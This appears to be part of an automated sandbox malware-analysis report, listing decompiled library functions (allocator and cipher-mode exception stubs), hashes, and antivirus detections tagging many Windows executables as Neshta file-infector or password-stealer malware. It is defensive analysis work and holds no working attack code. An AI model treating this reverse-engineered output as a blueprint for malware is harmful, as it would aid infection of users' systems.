APIs

_Allocate.LIBCPMT ref: 00B06998
std::_Xinvalid_argument.LIBCPMT ref: 00B069B7

Part of subcall function 00CA8B37: std::exception::exception.LIBCMT ref: 00CA8B4A
Part of subcall function 00CA8B37: __CxxThrowException@8.LIBCMT ref: 00CA8B5F

Strings

vector<T> too long, xrefs: 00B069B2

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AllocateException@8ThrowXinvalid_argumentstd::_std::exception::exception
String ID: vector<T> too long
API String ID: 2227214630-3788999226
Opcode ID: e8e41a5ced177530940ef8b1fb47db42b170363e71c6dc8457793b7742c90663
Instruction ID: d1cd6e89b15082913e24efdb2c4cb168151715ed7ce0780043f215204b20240b
Opcode Fuzzy Hash: e8e41a5ced177530940ef8b1fb47db42b170363e71c6dc8457793b7742c90663
Instruction Fuzzy Hash: F6F0E572404306AFC320DF28D441566FBECDE99770320847FD6A9C3A80EA31E94147A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B060D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E00B060D0() {
				void* _t18;
				void* _t22;

				0xc81503(0x44);
				E00B01E2C(_t22 - 0x28, "RandomNumberGenerator: IncorporateEntropy not implemented");
				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
				_t18 = _t22 - 0x50;
				E00B04197(_t18);
				 *((intOrPtr*)(_t22 - 0x50)) = 0xcf2cb4;
				0xc8143b(_t22 - 0x50, 0xd48098, 0, _t22 - 0x28);
				asm("int3");
				goto ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t18 + 0xfffffffc)) + 0x48))())) + 0x28)));
			}

0x00b060d7
0x00b060e4
0x00b060e9
0x00b060f3
0x00b060f6
0x00b06103
0x00b0610b
0x00b06110
0x00b0611d

APIs

__EH_prolog3_GS.LIBCMT ref: 00B060D7

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B0610B

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 00B060DC

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: RandomNumberGenerator: IncorporateEntropy not implemented
API String ID: 1139647276-49352013
Opcode ID: cde56c6f1c4e8df75497ee90ea54ea44143089ae0a5f147b760dc446e59316a7
Instruction ID: 5a076489d6b68b43fd068fbddead37da26bb7971a9a5325315e3e8838defbb07
Opcode Fuzzy Hash: cde56c6f1c4e8df75497ee90ea54ea44143089ae0a5f147b760dc446e59316a7
Instruction Fuzzy Hash: 7CF039B4A10208DFDB04EBA4C856BEC77B8AF08314F100564F601AB2E1DBB09E4ACB11

Uniqueness

Uniqueness Score: -1.00%

Function 00B0664A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00B0664A(void* __ecx) {
				intOrPtr _t11;
				void* _t18;

				0xc81503(0x44);
				_t11 =  *((intOrPtr*)(_t18 + 8));
				if(_t11 != 0 && _t11 !=  *((intOrPtr*)(__ecx + 0x10))) {
					E00B01E2C(_t18 - 0x28, "CipherModeBase: feedback size cannot be specified for this cipher mode");
					 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
					E00B04197(_t18 - 0x50);
					_t11 = _t18 - 0x50;
					 *((intOrPtr*)(_t18 - 0x50)) = 0xcf2ca8;
					0xc8143b(_t11, 0xd48078, 1, _t18 - 0x28);
				}
				0xc814b2();
				return _t11;
			}

0x00b06651
0x00b06656
0x00b0665b
0x00b0666a
0x00b0666f
0x00b0667c
0x00b06686
0x00b06689
0x00b06691
0x00b06691
0x00b06696
0x00b0669b

APIs

__EH_prolog3_GS.LIBCMT ref: 00B06651

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B06691

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

CipherModeBase: feedback size cannot be specified for this cipher mode, xrefs: 00B06662

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: CipherModeBase: feedback size cannot be specified for this cipher mode
API String ID: 1139647276-2561568580
Opcode ID: 64a8f58f9a7eee3c28d841cc172099a6d2a68427c6f00938061de7893a9eec34
Instruction ID: 88c1d8d3ee39fdaa0fb82fb212f2e35115bfd0052bf7dd4bc3652945094fe2ec
Opcode Fuzzy Hash: 64a8f58f9a7eee3c28d841cc172099a6d2a68427c6f00938061de7893a9eec34
Instruction Fuzzy Hash: CFF03070940208ABDF54EAD0C842FEC7BB8AF14305F440454E901AA0C1DFB0E94ADB65

Uniqueness

Uniqueness Score: -1.00%

Function 00CA85AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CA85FE: _memset.LIBCMT ref: 00CA860B

Part of subcall function 00B0213B: InitializeCriticalSectionAndSpinCount.KERNEL32(00D71814,00000000,00D71800,00CA85DA,?,?,?,00B01C23), ref: 00B02140
Part of subcall function 00B0213B: GetLastError.KERNEL32(?,?,?,00B01C23), ref: 00B0214A

IsDebuggerPresent.KERNEL32(?,?,?,00B01C23), ref: 00CA85DE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00B01C23), ref: 00CA85ED

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00CA85E8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 436010757-631824599
Opcode ID: f8d51d627ab16f1c072753dc447b99ce6aaed3b3414269a4698b34effdb68f15
Instruction ID: 5a972b430343bacb35aac376b279f036e436152e82340f04155591ca48a7aab6
Opcode Fuzzy Hash: f8d51d627ab16f1c072753dc447b99ce6aaed3b3414269a4698b34effdb68f15
Instruction Fuzzy Hash: 62E06D70600352CFE320AF68E5087467BE0BF06748F04496DE882C7650EBB0E948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CB12AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CB12B5

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CB12F2

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

AllocatorBase: requested size would cause integer overflow, xrefs: 00CB12C3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: AllocatorBase: requested size would cause integer overflow
API String ID: 1139647276-10355266
Opcode ID: d9f0f8b8d013049647e87b688a022885c730d0c99a4f3f301d48c15d6287f38a
Instruction ID: 0ce83df93ef3a1fb334518e98361bd935c82a573db3e26c59c264daec957ea88
Opcode Fuzzy Hash: d9f0f8b8d013049647e87b688a022885c730d0c99a4f3f301d48c15d6287f38a
Instruction Fuzzy Hash: AEE012B0D50248EEDF04FBE0C852BEC7BB8AF54715F840515F911AA0C1DFB45649D756

Uniqueness

Uniqueness Score: -1.00%

Function 00B05C9D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E00B05C9D() {
				void* _t9;
				void* _t15;

				_t9 = 0xcec02a;
				0xc81503(0x44);
				if( *((intOrPtr*)(_t15 + 8)) > 0xffffffff) {
					E00B01E2C(_t15 - 0x28, "AllocatorBase: requested size would cause integer overflow");
					 *(_t15 - 4) =  *(_t15 - 4) & 0x00000000;
					E00B04197(_t15 - 0x50);
					_t9 = _t15 - 0x50;
					 *((intOrPtr*)(_t15 - 0x50)) = 0xcf2ca8;
					0xc8143b(_t9, 0xd48078, 1, _t15 - 0x28);
				}
				0xc814b2();
				return _t9;
			}

0x00b05c9f
0x00b05ca4
0x00b05cad
0x00b05cb7
0x00b05cbc
0x00b05cc9
0x00b05cd3
0x00b05cd6
0x00b05cde
0x00b05cde
0x00b05ce3
0x00b05ce8

APIs

__EH_prolog3_GS.LIBCMT ref: 00B05CA4

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B05CDE

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

AllocatorBase: requested size would cause integer overflow, xrefs: 00B05CAF

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: AllocatorBase: requested size would cause integer overflow
API String ID: 1139647276-10355266
Opcode ID: d1a734b49f1aeb2a3732faabaa5358706ef58a29dd5b1c9a92810202e0a853fb
Instruction ID: 7071628934ecdb8a018a7a9af06a2a53f8f988ab9b78cb695066ed68a8462f16
Opcode Fuzzy Hash: d1a734b49f1aeb2a3732faabaa5358706ef58a29dd5b1c9a92810202e0a853fb
Instruction Fuzzy Hash: AEE06DB0850248AADF10FAE0C842BEC7BB8AF04715F800611F5116A0C1CBB4568ADB55

Uniqueness

Uniqueness Score: -1.00%

Function 00B05E62 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00B05E62(intOrPtr* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				intOrPtr _t19;
				void* _t23;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				intOrPtr* _t36;
				void* _t38;

				0xc81503(0x44);
				 *((intOrPtr*)( *__ecx + 0x9c))();
				E00B01E2C(_t38 - 0x28, "BufferedTransformation: this object is not attachable");
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t26 = _t38 - 0x50;
				E00B04197(_t26);
				 *((intOrPtr*)(_t38 - 0x50)) = 0xcf2cb4;
				0xc8143b(_t38 - 0x50, 0xd48098, 0, _t38 - 0x28);
				asm("int3");
				_t36 = _t26;
				_t19 = 0;
				_t28 =  *_t36 - 0x10;
				_t33 =  *_t28;
				if( *((intOrPtr*)(_t28 + 4)) != 0) {
					if( *((intOrPtr*)(_t28 + 0xc)) >= 0) {
						E00B0656C(_t28, __edx);
						_t19 =  *((intOrPtr*)( *_t33 + 0xc))() + 0x10;
						 *_t36 = _t19;
					} else {
						_t19 = E00B0669E(_t23, _t36, _t33, 0);
					}
				}
				return _t19;
			}

0x00b05e69
0x00b05e70
0x00b05e7e
0x00b05e83
0x00b05e8d
0x00b05e90
0x00b05e9d
0x00b05ea5
0x00b05eaa
0x00b05eac
0x00b05eae
0x00b05eb3
0x00b05eb6
0x00b05ebb
0x00b05ec0
0x00b05ecc
0x00b05ed8
0x00b05edb
0x00b05ec2
0x00b05ec5
0x00b05ec5
0x00b05ec0
0x00b05edf

APIs

__EH_prolog3_GS.LIBCMT ref: 00B05E69

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B05EA5

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

BufferedTransformation: this object is not attachable, xrefs: 00B05E76

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: BufferedTransformation: this object is not attachable
API String ID: 1139647276-3944187330
Opcode ID: 8686aa3234bc84c984e7f1509bcd3424ccc33411d66dd6af7511465e27319e20
Instruction ID: 81604bc72a66a0855b91656b56cc1c9d846e4b41eaddaa29b8c204583cd5232b
Opcode Fuzzy Hash: 8686aa3234bc84c984e7f1509bcd3424ccc33411d66dd6af7511465e27319e20
Instruction Fuzzy Hash: DEE01AB0A50208DFDB04EBE0C846FEC7BB8AF04304F540864F601AB191DBB0590EDB26

Uniqueness

Uniqueness Score: -1.00%

Function 00B05D7B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00B05D7B(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v4;
				char _v40;
				char _v80;

				0xc81503(0x44);
				E00B01E2C( &_v40, "Clone() is not implemented yet.");
				_v4 = _v4 & 0x00000000;
				E00B04197( &_v80);
				_v80 = 0xcf2cb4;
				0xc8143b( &_v80, 0xd48098, 0,  &_v40);
				asm("int3");
				_t18 = _v4;
				if(_v4 == 0xffffffff) {
					_t18 = E00B067CE(_a12) + 1;
				}
				return E00B0B1AA(_t18, _a4, _a8, _a12, _t18);
			}

0x00b05d82
0x00b05d8f
0x00b05d94
0x00b05da1
0x00b05dae
0x00b05db6
0x00b05dbb
0x00b05dbf
0x00b05dc5
0x00b05dd0
0x00b05dd0
0x00b05de4

APIs

__EH_prolog3_GS.LIBCMT ref: 00B05D82

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B05DB6

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

Clone() is not implemented yet., xrefs: 00B05D87

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: Clone() is not implemented yet.
API String ID: 1139647276-226299721
Opcode ID: a7193d72c1e738422a8cbfab533e06034d18c7f8ece338996f3b45644e0dbe54
Instruction ID: 381d224ab087d21c0a79930dea36bc01f52cb3775dacfa8a1557f71e148db8bf
Opcode Fuzzy Hash: a7193d72c1e738422a8cbfab533e06034d18c7f8ece338996f3b45644e0dbe54
Instruction Fuzzy Hash: 27E0B6B496024CABDB04EBE0C856BEDBBB8AB14705F540414E601B61C1DBB05A4DDB25

Uniqueness

Uniqueness Score: -1.00%

Function 00B01C8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00B01C8C(void* __eax) {
				void* _t2;
				void* _t7;

				0xc89150(0xd31360);
				_t2 = E00B024AE(0xd63b2c, _t7, 0xd31360, __eax);
				0xc80d99(0xcedb5e);
				return _t2;
			}

0x00b01c93
0x00b01ca0
0x00b01caa
0x00b01cb1

APIs

_strlen.LIBCMT ref: 00B01C93

Strings

AAD, xrefs: 00B01C8D, 00B01C92, 00B01C9A
AAD, xrefs: 00B01C9B

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _strlen
String ID: AAD$AAD
API String ID: 4218353326-3502023328
Opcode ID: 1c289f68d45df076969ed0ca3016ae6d9116ec69edd12369d0e464eb47c02265
Instruction ID: 03e5e09349e205cb141bec05333f6b5c20ca89272ed38b360d3d925cb362a070
Opcode Fuzzy Hash: 1c289f68d45df076969ed0ca3016ae6d9116ec69edd12369d0e464eb47c02265
Instruction Fuzzy Hash: 5AC08C16A2A5202E200432A87C0B8FE028DCE01320B1200A7B005A23811C812C4052BD

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Avira: detection malicious, Label: TR/PSW.Agent.hgzdq
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Users\user\Downloads\ChromeSetup.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Windows\svchost.com	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Avira: detection malicious, Label: W32/Neshta.A

Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	ReversingLabs: Detection: 95%
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	Metadefender: Detection: 88%	Perma Link
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	ReversingLabs: Detection: 97%
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Metadefender: Detection: 90%	Perma Link
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Metadefender: Detection: 89%	Perma Link
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Metadefender: Detection: 91%	Perma Link
Source: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Metadefender: Detection: 89%	Perma Link
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	ReversingLabs: Detection: 95%
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	ReversingLabs: Detection: 97%
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	ReversingLabs: Detection: 97%
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	ReversingLabs: Detection: 97%
Source: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	Metadefender: Detection: 100%	Perma Link
Source: C:\Windows\svchost.com	ReversingLabs: Detection: 97%
Source: C:\Windows\svchost.com	Metadefender: Detection: 91%	Perma Link

Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	Joe Sandbox ML: detected
